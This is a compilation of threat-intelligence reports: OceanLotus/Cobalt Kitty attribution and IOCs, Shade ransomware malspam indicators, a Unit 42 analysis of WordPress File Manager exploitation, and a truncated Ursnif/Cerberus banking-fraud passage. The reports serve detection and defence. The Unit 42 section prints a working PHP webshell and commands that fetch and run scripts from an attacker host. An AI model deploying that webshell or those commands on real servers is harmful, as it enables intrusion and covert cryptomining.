In this APT, the threat actor was very aware of the risks of exposure and tried to combat attribution as much as possible. This is often the case in large-scale cyber espionage operations. At the time of the attack, there weren’t many classic indicators of compromise (IOCs) that could lead to attribution. However, the threat actors behind Operation Cobalt Kitty left enough “behavioral fingerprints” to suspect the involvement of the OceanLotus Group (also known as APT-C-00, SeaLotus, and APT32), which was first documented by Qihoo 360's SkyEye Labs in 2015 and further researched by other security companies, including FireEye. Reports of the group’s activity in Asia date back to 2012, attacking Chinese entities. Over the years, the group was observed attacking a wide spectrum of targets in other Asian countries (Philippines and Vietnam). Cybereason concludes that the tactics, techniques, and procedures (TTPs) observed throughout Operation Cobalt Kitty are consistent with the group’s previous APT campaigns in Asia.
The OceanLotus Group appears to have a tendency to use similar and even identical names for their payloads (seen in their PowerShell payloads, Denis backdoor, and fake Flash installers). They also used similar anonymization services for their domains repeatedly. These “small” details played a role in attributing Operation Cobalt Kitty to the OceanLotus Group.
During the investigation, Cybereason noticed that some of the C&C domains and IPs started to emerge on VirusTotal and other threat intelligence engines, with payloads that were not observed during Cobalt Kitty. This was proof that Cobalt Kitty was not an isolated APT, but part of something bigger. Examples of the C&C domains and IPs used by the group across different APT campaigns include:
- *.chatconnecting.com
- teriava.com
- 23.227.196.210
- blog.versign.com
- tonholding.com
- 104.237.218.72
- vieweva.com
- nsquery.net
- 45.114.117.137
- tulationeva.com
- notificeva.com
Some of these domains were also mentioned in FireEye’s APT32 report, further confirming suspicions that the group behind the attack is the OceanLotus Group.
The group includes members who are fluent in at least two Asian languages. This claim is supported by the language used in the spear-phishing emails, which appear to be written by native speakers. Additionally, the language localization settings found in a few of the payloads suggest that the malware authors compiled the payloads on machines with Asian language support. The threat actors are not likely native English speakers since multiple typos were found in their payloads. For example, the following typo was observed in the file metadata of one of the backdoors: “Internal Name” field (“Geogle Update”).
### Threat Actor Profile
The attackers behind Operation Cobalt Kitty were extremely persistent. Even when their campaign was exposed, the attackers did not give up. They took “pauses” that lasted between 48 hours and four weeks and used the downtime to learn from their “mistakes” and develop workarounds before resuming the APT campaign.
The members of the OceanLotus Group demonstrated a remarkable ability to quickly adapt, introduce new tools, and fine-tune existing ones to bypass security solutions and avoid detection. The high number of payloads and the elaborate C2 infrastructure used in this attack indicate the resources that the attackers had at their disposal. Simultaneously orchestrating multiple APT campaigns of such magnitude and sophistication takes time, financial resources, and a large team to support it.
#### Threat Actor’s Main Characteristics
Here are the main characteristics that can help profile the threat actor:
- **Motivation**: Based on the nature of the attack, the proprietary information that the attackers were after, and the high-profile personnel who were targeted, Cybereason concluded that the main motivation behind the attack was cyber espionage. The attacker sought specific documents and types of information. This is consistent with previous reports about the group’s activity, showing that the group has a very wide range of targets, spanning from government agencies to the media and business sectors.
- **Operational Working Hours**: Most of the malicious activity was mostly done around normal business hours (8 AM-8 PM). Very little active hacking activity was detected during weekends. The attackers showed a slight tendency to carry out hacking operations towards the afternoon and evening. These observations suggest the following:
- Time zone(s) proximity.
- An institutionalized threat actor (possibly nation-state).
- **Outlook Backdoor and Data Exfiltration**: One of the most interesting tools introduced by the attackers was the Outlook backdoor, which used Outlook as a C2 channel. This backdoor has not been publicly documented and is one of the most unique TTPs regarding the threat actor. Outlook backdoors are not a new concept and have been observed in different APTs in the past. However, this specific type of Outlook backdoor can be considered one of the “signature tools” of the OceanLotus Group.
- **Publicly Available Tools**: The attackers showed a clear preference for using publicly available hacking tools and frameworks. Beyond being spared the hassle of creating a new tool, it is much harder to attribute a tool that can be used by anyone rather than a custom-made tool. However, the attackers should not be considered script-kiddies. Most of the publicly available tools were either obfuscated, modified, or merged with other tools to evade antivirus detection. This type of customization requires good coding skills and an understanding of how those tools work.
- **Cobalt Strike Usage in APT**: Cobalt Strike is a commercial offensive security framework designed to simulate complex attacks and is mainly used by security professionals in security audits and penetration testing. The OceanLotus Group was previously documented using Cobalt Strike as one of its main tools. Other large-scale APTs using Cobalt Strike have been reported before, such as APT-TOCS (possibly related to OceanLotus), Ordinaff, Carbanak Group, and the Cobalt Group.
- **Custom-Built Backdoors**: The threat actor used very sophisticated and stealthy backdoors (Denis & Goopy) that were written by highly skilled malware authors. During the attack, the authors introduced new variants of these backdoors, indicating “on-the-fly” development capabilities. Developing such state-of-the-art backdoors requires skillful malware authors, time, and resources. Both the Denis and Goopy backdoors used DNS tunneling for C2 communication. The OceanLotus Group is known to have a backdoor dubbed SOUNDBITE by FireEye that uses this stealthy technique. However, no public analysis reports of SOUNDBITE are available at the time of writing this report.
- **Exploiting DLL Hijacking in Trusted Applications**: The attackers exploited three DLL-hijacking vulnerabilities in legitimate applications from trusted vendors: Microsoft, Google, and Kaspersky. This further indicates the group’s emphasis on vulnerability research. DLL-hijacking/side-loading attacks are not uncommon in APTs, some of which are also carried out by nation-state actors and advanced cyber-crime groups. There have been reports in the past of GoogleUpdate exploited by PlugX by Chinese threat actors, as well as the Bookworm RAT exploiting Microsoft and Kaspersky applications in APTs targeting Asia.
- **Insisting on Fileless Operation**: While fileless delivery infrastructure is not a feature that can be attributed to one specific group, it is still worth mentioning since the attackers went out of their way to restore the script-based PowerShell/Visual Basic operation, especially after PowerShell execution had been disabled in the entire organization.
- **C&C Infrastructure**:
- **Divide and Conquer**: Each tool communicated with different sets of C&C servers/domains, which usually came in triads. For instance, Cobalt Strike payloads communicated with certain sets of IPs/domains while the backdoors communicated with different sets of IPs/domains.
- **Re-use of Domains and IPs Across Campaigns**: Quite a few domains and IPs that were observed in Operation Cobalt Kitty were found in-the-wild, attacking other targets. It’s peculiar why the threat actor reused the same domains and IPs. It could be assumed that the malware operators wanted to have centralized C&C servers per tool or tools, where they could monitor all of their campaigns from dedicated servers.
- **Anonymous DNS Records**: Most of the domains point to companies that provide DNS data privacy and anonymization, such as PrivacyProtect and PrivacyGuardian.
- **C&C Server Protection**: Most of the C&C servers' IP addresses are protected by CloudFlare and SECURED SERVERS LLC.
### OceanLotus Group Activity in Asia
As part of the analysis of the domains and IPs used in this operation, Cybereason found samples that were caught “in-the-wild” (that were not part of Operation Cobalt Kitty). Analysis of those samples clearly indicates the involvement of the threat actor in Asia and Vietnam in particular. Both Qihoo 360 and FireEye demonstrate in their reports that the threat actor is involved in campaigns in different Asian countries, such as Vietnam, China, and the Philippines.
Most of the samples caught in-the-wild seem to target Vietnamese speakers. Some of the samples exhibit clear evidence of targeting Vietnamese entities. This conclusion is derived from the file names and file contents that are written in Vietnamese, as shown in the examples below:
- **File Name**: Điện thoại bị cháy.doc
**SHA-1**: 38297392df481d2ecf00cc7f05ce3361bd575b04
**Malicious Domain / IP**: 193.169.245.137
- **File Name**: ID2016.doc
**SHA-1**: bfb3ca77d95d4f34982509380f2f146f63aa41bc
**Malicious Domain / IP**: support.chatconnecting.com
- **File Name**: Giấy yêu cầu bồi thường mới 2016 - Hằng.doc (Translation: “New Claim Form 2016”)
**SHA-1**: A5bddb5b10d673cbfe9b16a062ac78c9aa75b61c
**Malicious Domain / IP**: blog.versign.info
### Indicators of Compromise (IOCs)
#### Malicious Files
**Backdoors**
| File Name | SHA-1 Hash |
|-------------------------|----------------------------------------------|
| Msfte.dll | be6342fc2f33d8380e0ee5531592e9f676bb1f94 |
| | 638b7b0536217c8923e856f4138d9caff7eb309d |
| Variant of | dcbe007ac5684793ea34bf27fdaa2952c4e84d12 |
| Backdoor.Win32.Denis | 43b85c5387aafb91aea599782622eb9d0b5b151f |
| Goopdate.dll | 9afe0ac621c00829f960d06c16a3e556cd0de249 |
| | 973b1ca8661be6651114edf29b10b31db4e218f7 |
| Goopy backdoor | 1c503a44ed9a28aad1fa3227dc1e0556bbe79919 |
| | 2e29e61620f2b5c2fd31c4eb812c84e57f20214a |
| | c7b190119cec8c96b7e36b7c2cc90773cffd81fd |
| | 185b7db0fec0236dff53e45b9c2a446e627b4c6a |
| | ef0f9aaf16ab65e4518296c77ee54e1178787e21 |
| product_info.dll | 3cf4b44c9470fb5bd0c16996c4b2a338502a7517 |
| [Backdoor exploiting DLL-hijacking against Kaspersky Avpia] | |
| VbaProject.OTM | 320e25629327e0e8946f3ea7c2a747ebd37fe26f |
| [Outlook Macro] | |
| sunjavascheduler.ps1 | 0d3a33cb848499a9404d099f8238a6a0e0a4b471 |
| sndVolSSO.ps1 | c219a1ac5b4fd6d20a61bb5fdf68f65bbd40b453 |
| SCVHost.ps1 | 91e9465532ef967c93b1ef04b7a906aa533a370e |
| fhsvcs.ps1 | |
| Goztp.ps1 | |
| [PowerShell versions of the Denis/Goopy backdoors] | |
**Cobalt Strike Beacons**
| File Name | SHA-1 Hash |
|-------------------------|----------------------------------------------|
| dns.exe | cd675977bf235eac49db60f6572be0d4051b9c07 |
| msfte.dll | 2f8e5f81a8ca94ec36380272e36a22e326aa40a4 |
| FVEAPI.dll | 01197697e554021af1ce7e980a5950a5fcf88318 |
| sunjavascheduler.ps1 | 7657769f767cd021438fcce96a6befaf3bb2ba2d |
| syscheck.ps1 | Ed074a1609616fdb56b40d3059ff4bebe729e436 |
| dns.ps1 | D667701804CA05BB536B80337A33D0714EA28129 |
| activator.ps1 | F45A41D30F9574C41FE0A27CB121A667295268B2 |
| nvidia.db | 7F4C28639355B0B6244EADBC8943E373344B2E7E |
**Malicious Word Documents**
*Some of the phishing emails and Word documents were very targeted and personalized, therefore, they are not listed here for privacy reasons.*
| File Name | SHA-1 Hash |
|-------------------------|----------------------------------------------|
| CV.doc | [redacted] |
| Complaint letter.doc | |
| License Agreement.doc | |
**Loader Scripts**
| File Name | SHA-1 Hash |
|-------------------------|----------------------------------------------|
| syscheck.vbs | 62749484f7a6b4142a2b5d54f589a950483dfcc9 |
| SndVolSSO.txt | cb3a982e15ae382c0f6bdacc0fcecf3a9d4a068d |
| sunjavascheduler.txt | 7a02a835016bc630aa9e20bc4bc0967715459daa |
**Obfuscated / Customized Mimikatz**
| File Name | SHA-1 Hash |
|-------------------------|----------------------------------------------|
| dllhosts.exe | 5a31342e8e33e2bbe17f182f2f2b508edb20933f |
| | 23c466c465ad09f0ebeca007121f73e5b630ecf6 |
| | 14FDEF1F5469EB7B67EB9186AA0C30AFAF77A07 |
| KB571372.ps1 | 7CADFB90E36FA3100AF45AC6F37DC55828FC084A |
| KB647152.exe | 7BA6BFEA546D0FC8469C09D8F84D30AB0F20A129 |
| KB647164.exe | BDCADEAE92C7C662D771507D78689D4B62D897F9 |
| kb412345.exe | e0aaa10bf812a17bb615637bf670c785bca34096 |
| kb681234.exe | 4bd060270da3b9666f5886cf4eeaef3164fad438 |
| System.exe | 33cb4e6e291d752b9dc3c85dfef63ce9cf0dbfbc |
| | 550f1d37d3dd09e023d552904cdfb342f2bf0d35 |
| decoded base64 | c0950ac1be159e6ff1bf6c9593f06a3f0e721dd4 |
**Customized Credential Dumpers**
| File Name | SHA-1 Hash |
|-------------------------|----------------------------------------------|
| log.exe | 7f812da330a617400cb2ff41028c859181fe663f |
| [GetPassword_x64] | |
| SRCHUI.dll | 29BD1BAC25F753693DF2DDF70B83F0E183D9550D |
| adrclients.dll | FC92EAC99460FA6F1A40D5A4ACD1B7C3C6647642 |
| [HookPasswordChange] | |
| KB471623.exe | 6609A347932A11FA4C305817A78638E07F04B09 |
| [Custom password dumper] | |
| doutlook.ps1 | EBDD6059DA1ABD97E03D37BA001BAD4AA6BCBABD |
| adobe.dat | B769FE81996CBF7666F916D741373C9C55C71F15 |
| adrclients.ps1 | E64C2ED72A146271CCEE9EE904360230B69A2C1D |
| [Custom password dumper] | |
**Miscellaneous Tools**
| File Name | SHA-1 Hash |
|-------------------------|----------------------------------------------|
| pshdll35.dll | 52852C5E478CC656D8C4E1917E356940768E7184 |
| pshdll40.dll | EDD5D8622E491DFA2AF50FE9191E788CC9B9AF89 |
| [PSUnlock - PowerShell Bypass tool] | |
| KB-10233.exe | C5e19c02a9a1362c67ea87c1e049ce9056425788 |
| kb74891.exe | 0908a7fbc74e32cded8877ac983373ab289608b3 |
| [NetCat] | |
| IP.exe | 6aec53554f93c61f4e3977747328b8e2b1283af2 |
| cmd.exe | |
| dllhost.exe | |
| [IP check Tool] | |
**Payloads from C&C Servers**
| URL | Payload SHA-1 Hash |
|-----------------------------------------------------|---------------------------------------------|
| hxxp://104.237.218.67:80/icon.ico | 6dc7bd14b93a647ebb1d2eccb752e750c4ab6b09 |
| hxxp://support.chatconnecting.com:80/icon.ico | c41972517f268e214d1d6c446ca75e795646c5f2 |
| hxxp://food.letsmiles.org/login.txt | 9f95b81372eaf722a705d1f94a2632aad5b5c180 |
| hxxp://food.letsmiles.org/9niL | 5B4459252A9E67D085C8B6AC47048B276C7A6700 |
| hxxp://23.227.196.210:80/logscreen.jpg | d8f31a78e1d158032f789290fa52ada6281c9a1f |
| | 50fec977ee3bfb6ba88e5dd009b81f0cae73955e |
| hxxp://45.114.117.137/eXYF | D1E3D0DDE443E9D294A39013C0D7261A411FF1C4 |
| | 91BD627C7B8A34AB334B5E929AF6F981FCEBF268 |
| hxxp://images.verginnet.info:80/ppap.png | F0A0FB4E005DD5982AF5CFD64D32C43DF79E1402 |
| hxxp://176.107.176.6/QVPh | 8FC9D1DADF5CEF6CFE6996E4DA9E4AD3132702C |
| hxxp://108.170.31.69/a | 4a3f9e31dc6362ab9e632964caad984d1120a1a7 |
| hxxp://support.chatconnecting.com/pic.png | bb82f02026cf515eab2cc88faa7d18148f424f72 |
| hxxp://blog.versign.info/access/?version=4&lid=[redacted]&token=[redacted] | 9e3971a2df15f5d9eb21d5da5a197e763c035f7a |
| hxxp://23.227.196.210/6tz8 | bb82f02026cf515eab2cc88faa7d18148f424f72 |
| hxxp://23.227.196.210/QVPh | 8fc9d1dadf5cef6cfe6996e4da9e4ad3132702c5 |
| hxxp://45.114.117.137/3mkQ | 91bd627c7b8a34ab334b5e929AF6F981FCEBF268 |
| hxxp://176.223.111.116:80/download/sido.jpg | 5934262D2258E4F23E2079DB953DBEBED8F07981 |
| hxxp://110.10.179.65:80/ptF2 | DA2B3FF680A25FFB0DD4F55615168516222DFC10 |
| hxxp://110.10.179.65:80/download/microsoftp.jpg | 23EF081AF79E92C1FBA8B5E622025B821981C145 |
| hxxp://110.10.179.65:80/download/microsoft.jpg | C845F3AF0A2B7E034CE43658276AF3B3E402EB7B |
| hxxp://27.102.70.211:80/image.jpg | 9394B5EF0B8216528CED1FEE589F3ED0E88C7155 |
### C&C IPs
- 45.114.117.137
- 104.24.119.185
- 104.24.118.185
- 23.227.196.210
- 23.227.196.126
- 184.95.51.179
- 176.107.177.216
- 192.121.176.148
- 103.41.177.33
- 184.95.51.181
- 23.227.199.121
- 108.170.31.69
- 104.27.167.79
- 104.27.166.79
- 176.107.176.6
- 184.95.51.190
- 176.223.111.116
- 110.10.179.65
- 27.102.70.211
### C&C Domains
- food.letsmiles.org
- help.chatconnecting.com
- *.letsmiles.org
- support.chatconnecting.com
- inbox.mailboxhus.com
- blog.versign.info
- news.blogtrands.net
- stack.inveglob.net
- tops.gamecousers.com
- nsquery.net
- tonholding.com
- cloudwsus.net
- nortonudt.net
- teriava.com
- tulationeva.com
- vieweva.com
- notificeva.com
- images.verginnet.info
- id.madsmans.com
- lvjustin.com
- play.paramountgame.com
### Appendix A: Threat Actor Payloads Caught in the Wild
| Domain | Details | VirusTotal |
|-----------------------------------------|------------------------------------------------------------------|------------|
| inbox.mailboxhus.com | File name: Flash.exe | Link |
| support.chatconnecting.com | SHA-1: 01ffc3ee5c2c560d29aaa8ac3d17f0ea4f6c0c09 | |
| (45.114.117.137) | Submitted: 2016-12-28 09:51:13 | |
| inbox.mailboxhus.com | File name: Flash.exe | Link |
| support.chatconnecting.com | SHA-1: 562aeced9f83657be218919d6f443485de8fae9e | |
| (45.114.117[.]137) | Submitted: 2017-01-18 19:00:41 | |
| support.chatconnecting.com | URL: hxxp://support.chatconnecting.com/2nx7m | Link |
| | Submitted: 2017-01-20 10:11:47 | |
| (45.114.117[.]137) | File name: ID2016.doc | Link |
| | SHA-1: bfb3ca77d95d4f34982509380f2f146f63aa41bc | |
| (45.114.117[.]137) | Submitted: 2016-11-23 08:18:43 | |
| | Malicious Word document (Phishing text in Vietnamese) | |
| blog.versign.info | File name: tx32.dll | Link |
| | SHA-1: 604a1e1a6210c96e50b72f025921385fad943ddf | |
| (23.227.196[.]210) | Submitted: 2016-08-15 04:04:46 | |
| blog.versign.info | File name: Giấy yêu cầu bồi thường mới 2016 - Hằng.doc | Link |
| | SHA-1: a5bddb5b10d673cbfe9b16a062ac78c9aa75b61c | |
| (23.227.196[.]210) | Submitted: 2016-10-06 11:03:54 | |
| | Malicious Word document with Phishing text in Vietnamese | |
| blog.versign.info | File name: Thong tin.doc | Link |
| | SHA-1: a5fbcbc17a1a0a4538fd987291f8dafd17878e33 | |
| (23.227.196[.]210) | Submitted: 2016-10-25 | |
| | Malicious Word document with Phishing text in Vietnamese | |
| images.verginnet.info | File name: WinWord.exe | Link |
| | SHA-1: ea67b24720da7b4adb5c7a8a9e8f208806fbc198 | |
| (176.107.176[.]6) | Submitted: | |
| | Cobalt Strike payload | |
| | Downloads hxxp://images.verginnet.info/2NX7M | |
| tonholding.com | File name: SndVolSSO.exe | Link |
| nsquery.net | SHA-1: 1fef52800fa9b752b98d3cbb8fff0c44046526aa | |
| | Denis Backdoor Variant | |
| tonholding.com | File name: Xwizard / KB12345678.exe | Link |
| nsquery.net | SHA-1: d48602c3c73e8e33162e87891fb36a35f621b09b | |
| | Submitted: 2016-08-01 | |
| teriava.com | File name: CiscoEapFast.exe | Link |
| | SHA-1: 77dd35901c0192e040deb9cc7a981733168afa74 | |
| | Submitted: 2017-02-28 16:37:12 | |
| | Denis Backdoor Variant | |
### Appendix B: Denis Backdoor Samples in the Wild
| File Name | SHA-1 | Domain |
|-------------------------|---------------------------------------|-----------------------------------------|
| msprivs.exe | 97fdab2832550b9fea80ec1b9 | teriava.com |
| | c182f5139e9e947 | |
| WerFault.exe | F25d6a32aef1161c17830ea0c | teriava.com |
| | b950e36b614280d | |
| msprivs.exe | 1878df8e9d8f3d432d0bc8520 | teriava.com |
| | 595b2adb952fb85 | |
| CiscoEapFast.exe | 1a2cd9b94a70440a962d9ad7 | teriava.com, |
| 094.exe | 8e5e46d7d22070d | tulationeva.com, |
| | | notificeva.com |
| CiscoEapFast.exe | 77dd35901c0192e040deb9cc | teriava.com, |
| | 7a981733168afa74 | tulationeva.com, |
| | | notificeva.com |
| SwUSB.exe | 88d35332ad30964af4f55f1e44 | gl-appspot.org |
| F:\malware\Anh | c951b15a109832 | tonholding.com |
| Dương\lsma.exe | | nsquery.net |
| Xwizard.exe | d48602c3c73e8e33162e8789 | tonholding.com |
| KB12345678.exe | 1fb36a35f621b09b | nsquery.net |
| SndVolSSO.exe | 1fef52800fa9b752b98d3cbb8ff | tonholding.com, |
| | f0c44046526aa | nsquery.net |
Cybereason is the leader in endpoint protection, offering endpoint detection and response, next-generation antivirus, and active monitoring services. Founded by elite intelligence professionals born and bred in offense-first hunting, Cybereason gives enterprises the upper hand over cyber adversaries. The Cybereason platform is powered by a custom-built in-memory graph, the only truly automated hunting engine anywhere. It detects behavioral patterns across every endpoint and surfaces malicious operations in an exceptionally user-friendly interface. Cybereason is privately held and headquartered in Boston with offices in London, Tel Aviv, and Tokyo. |
# More Russian Language Malspam Pushing Shade (Troldesh) Ransomware
## Introduction
Russian language spam pushing Shade ransomware (also known as Troldesh ransomware) has remained active since my previous ISC diary about it on 2018-11-29. However, sometime in February 2019, this malicious spam (malspam) altered its tactics slightly. Instead of a zip archive directly attached to the malspam, recent emails have attached PDF files with links to download the zip archive. Otherwise, this infection activity remains relatively unchanged.
## Details
Malspam pushing Shade has a variety of subjects, spoofed sending addresses, and message text. The common theme is some sort of order or invoice. The attached PDF files have links to download an alleged invoice, which was saved as pic.zip when I checked.
Pic.zip contained a JavaScript (.js) file designed to infect a vulnerable Windows host when double-clicked. Infection traffic remained similar to previous examples of Shade ransomware, and my infected Windows host exhibited the expected behavior.
## Indicators of Compromise (IoCs)
The following are indicators associated with today's infection:
- **SHA256 hash:** 6950efbd9d6d10fdd8f644a71b30e53a8d1dbd64976279d8a192a0c9459d06e1
**File name:** pic.zakaz.pdf
**File size:** 18,831 bytes
**File description:** PDF attachment from malspam pushing Shade/Troldesh ransomware
- **SHA256 hash:** e76b93f6ab032e16f5f1d600cb061db49a10538b10a063561df95be94156ac0b
**File name:** pic.zip
**File size:** 3,493 bytes
**File location:** hxxp://simplerlife[.]pl/wp-content/themes/hueman/assets/admin/css/pic.zip
**File description:** Downloaded zip archive from link in PDF attachment
- **SHA256 hash:** 17539e1a0c33fe2f98fa1b8fa282f9f3786ba15419e30ae6c4171ccff65338c9
**File size:** 6,932 bytes
**File description:** .js file extracted from pic.zip
- **SHA256 hash:** 33dde2eed8ccb2b74c9d0feaf19c341354e54cb5d2c9e475507ff3fe22240381
**File size:** 1,254,664 bytes
**File location:** hxxp://sidneyyin[.]com/templates/joomlage0084-aravnik/css/msg.jpg
**File location:** C:\Users\[username]\AppData\Local\Temp\rad8EEC7.tmp
**File location:** C:\ProgramData\Windows\csrss.exe
**File description:** Downloaded zip archive from link in PDF attachment
### Traffic from an Infected Windows Host:
- 62.212.69[.]227 port 80 - simplerlife[.]pl - GET /wp-content/themes/hueman/assets/admin/css/pic.zip
- 74.220.207[.]61 port 80 - sidneyyin[.]com - GET /templates/joomlage0084-aravnik/css/msg.jpg
- Various IP addresses over various TCP ports - Tor traffic
- port 80 - whatismyipaddress.com - GET /
- port 80 - whatsmyip.net - GET /
### Email Address and URLs from the Decryption Instructions:
- [email protected]
- hxxp://cryptsen7fo43rr6[.]onion/
- hxxp://cryptsen7fo43rr6[.]onion.to/
- hxxp://cryptsen7fo43rr6[.]onion.cab/
## Final Words
As I stated last time, Russian language malspam pushing Shade/Troldesh ransomware is nothing new. Since I first posted a diary about it back in 2016, it's never disappeared for long. Nor is this malspam limited to Russian language. An example I documented in 2017 was from English malspam. This diary is yet another reminder the criminals behind this malware remain active.
---
Brad Duncan
brad [at] malware-traffic-analysis.net
Feb 20th 2019 |
# Exploits in the Wild for WordPress File Manager RCE Vulnerability (CVE-2020-25213)
**By Nadav Markus, Efi Barkayev, Gal De Leon**
**February 5, 2021**
**Category: Unit 42**
**Tags: cryptojacking, Cryptominers, CVE-2020-25213, Kinsing, Remote Code Execution, vulnerabilities, WordPress**
## Executive Summary
In December 2020, Unit 42 researchers observed attempts to exploit CVE-2020-25213, a file upload vulnerability in the WordPress File Manager plugin. Successful exploitation allows an attacker to upload an arbitrary file with arbitrary names and extensions, leading to Remote Code Execution (RCE) on the targeted web server. This exploit was used by attackers to install webshells, which in turn were used to install Kinsing, malware that runs a malicious cryptominer from the H2miner family. Kinsing is based on the Golang programming language, and its ultimate purpose is to be used in cryptojacking attacks on container environments.
Palo Alto Networks customers are protected from CVE-2020-25213 and Kinsing with Cortex XDR, AutoFocus, and Next-Generation Firewalls with the WildFire security subscription.
## CVE-2020-25213 and Webshells
The vulnerability stems from the fact that the WordPress File Manager plugin renamed the file extension on the elFinder library's `connector.minimal.php.dist` file to `.php` so it could be executed directly. Since this file has no access restrictions, it can be executed by anyone browsing the web server. The file contains mechanisms to upload files to the web server without any authentication. Because of this flaw, allowing anyone to upload files, malicious actors started attacking it and uploading webshells, which can be used for further activities such as installing malware or cryptominers.
## Observed Attack Chain
Our investigation began with the access log of an attacked machine. What caught our attention was the following HTTP POST request to the web server:
```
[19/Dec/2020:08:58:08 +0000] "POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1" 200 1453 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
```
This request was used to upload a webshell. Inspecting the log further, we found the culprit – the webshell:
```
[19/Dec/2020:08:57:48 +0000] "GET /wp-content/plugins/wp-file-manager/lib/files/k.php?cmd=curl+X.X.X.X%2Fwpf.sh%7Csh HTTP/1.1" 200 411
```
As we can see from the above, the webshell was named `k.php` and was provided a command to execute. The webshell itself is quite simple as it’s stored in plain text on the web server and contains no obfuscation or authentication measures:
```php
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
```
Upon further examination of the HTTP GET request that was issued to the webshell `k.php`, we can see it simply invoked the curl command, downloaded a file named `wpf.sh`, and executed it.
We obtained the shell script from the attacker’s command and control (C2) server. Here is a synopsis of the file:
```
$WGET $DIR/kinsing http://X.X.X.X/kinsing
chmod +x $DIR/kinsing
SKL=wpf $DIR/kinsing
```
The file `wpf.sh` is a script that downloads Kinsing using wget, gives it execute permissions, and proceeds to execute it.
## Conclusion
We observed an exploit in the wild for the WordPress File Manager RCE vulnerability CVE-2020-25213. Attackers used the exploit to install webshells, which in turn were used to install Kinsing, which runs a malicious cryptominer from the H2miner family. The ultimate purpose of Kinsing is to be used in cryptojacking attacks on container environments.
Palo Alto Networks customers are protected from CVE-2020-25213 in the following ways:
- The Linux Cortex XDR agent blocks this attack. The webshell is detected by the local threat evaluation engine, which is powered by machine learning algorithms.
- The malware has malicious verdicts in WildFire, a security subscription for the Next-Generation Firewall.
- The Cortex XDR Behavioral Threat Protection engine prevents both Kinsing and the payload cryptominer.
- Palo Alto Networks Threat Prevention covers this vulnerability with TID 59286.
- AutoFocus has an appropriate tag for the miner and Kinsing.
## Indicators of Compromise
**Kinsing Hashes**
- `6e25ad03103a1a972b78c642bac09060fa79c460011dc5748cbb433cc459938b`
- `5f1e0e3cc38f7888b89a9adddb745a341c5f65165dadc311ca389789cc9c6889`
**Cryptominer Hash (H2miner)**
- `dd603db3e2c0800d5eaa262b6b8553c68deaa486b545d4965df5dc43217cc839`
**Shell Script Hash**
- `a68ab806c8e111e98ba46d5bfdabd9091a68839dd39dfe81e887361bd4994a62`
**Webshell Hash**
- `f1c5bed9560a1afe9d5575e923e480e7e8030e10bc3d7c0d842b1a64f49f8794` |
# Ursnif Leverages Cerberus Android Malware to Automate Fraudulent Bank Transfers in Italy
IBM Trusteer researchers continually monitor the evolution and attack tactics in the banking sector. In a recent analysis, our team found that an Ursnif (aka Gozi) banking Trojan variant is being used in the wild to target online banking users in Italy with mobile malware. Aside from the Ursnif infection on the victim’s desktop, the malware tricks victims into fetching a mobile app from a fake Google Play page and infects their mobile device with the Cerberus Android malware.
The Cerberus malware component of the attack is used by Ursnif’s operators to receive two-factor authentication codes sent by banks to their users when account updates and money transfer transactions are being confirmed in real-time. Cerberus also possesses other features and can enable the attacker to obtain the lock-screen code and remotely control the device.
Cerberus is an overlay-type mobile malware that emerged in mid-2019 but initially lacked advanced capabilities. It has evolved over time to eventually feature the ability to hijack SMS content and control devices remotely, alongside other sophisticated data theft features. Cerberus was peddled in the underground as commodity malware until the summer of 2020, taking over the market share of Anubis, a previous pay-per-use malware.
In September 2020, Cerberus’ development team decided to disband, spurring an auction attempt that aimed to sell off the source code to the highest bidder, starting at $100,000. The code did not sell but was instead shared with the malware’s customer base, which meant it was publicly leaked. That intentional release of the source code gave rise to numerous malware campaigns involving Cerberus and likely also led to this combined attack with the Ursnif banking Trojan.
## A Combination Attack From Desktop to Smartphone
Ursnif is a very long-standing staple in the cybercrime arena, possibly the oldest banking Trojan that’s still active today. Recent campaigns featuring this malware have been most notable in Italy, where it is typically delivered to business email recipients in attachments that purport to carry invoices, delivery notices, or other business correspondence. The infection chain commonly involves poisoned macros, getting past email controls by featuring productivity files most organizations use. In some campaigns, the attackers keep access to the infection zone limited to Italian-based IP addresses only.
Once infected by the Ursnif malware and upon attempting to access their online banking account, victims are advised, via web injection, that they won’t be able to continue to use their bank’s services without downloading a security app. To obtain that app, they are shown a QR code and instructed to scan it with their phone’s camera.
Looking into the QR code provided through the injection, we found a Base64 encoded string with the details. If users scan the QR code, they will open a web page on their smartphone and be sent to a fake Google Play page featuring a corresponding banking app logo of the banking brand the victim originally attempted to access. The campaign, in this case, included a number of domains that were most likely registered for that purpose and reported in other malicious activity in the past.
Each of the domains hosting the fake Google Play pages used similar words or typo-squatting to appear legitimate. Some examples are:
- google.servlce.store
- gooogle.services
- goooogle.services
- play.google.servlce.store
- play.gooogle.services
- play.goooogle.services
These malicious domains have been flagged on VirusTotal for a few months, with more reports accumulating over time. Reports on the malicious Android Packages (APKs) that conceal the Cerberus malware spread in this campaign have been flagging it since at least late-2020.
In cases of users who do not successfully scan the QR code, they are asked to provide their telephone number and subsequently receive an SMS message with a download link to fetch the malicious application, which warns users about a potential service interruption if they fail to obtain the app.
In the background, the injection’s code couples the phone number inserted by the victim with the bot ID the Ursnif malware assigned to that infected desktop, the bank’s name the victim uses, and their login credentials as grabbed by Ursnif. Notice the use of the word ‘Jambo’ in parts of the code. It is most likely that Ursnif’s operators wrote a jQuery library to simplify HTML Document Object Model tree traversal and manipulation, using it to orchestrate their injections. Fraudsters can use the library to define the amounts to transfer from accounts and other parameters of the fraudulent transaction.
If the victims submit their phone number on the web injection, the remote server will send back a download URL for them to unknowingly download the Cerberus malware. This injection also keeps the victims’ device identifiers linked to their bot ID and account credentials.
## Cerberus in Action
Cerberus campaigns have already been detected spreading through the official Google Play store in the past, but this distribution attempts to land on victim devices through a third-party source — the attacker’s domains. The option to sideload APKs is not enabled by default on Android devices, and the choice to deliver the malware from a non-official source may have limited the spread of the campaign to a larger number of devices.
When Cerberus is downloaded to a new device, it takes into account the original bank name the victim attempted to access when the infection process was initiated. A JavaScript function includes those details and ensures the victim continues to see a consistent message. Here too, the ‘Jambo’ word repeats throughout the function, calling into action the jQuery library that orchestrates the malware’s script-based activity.
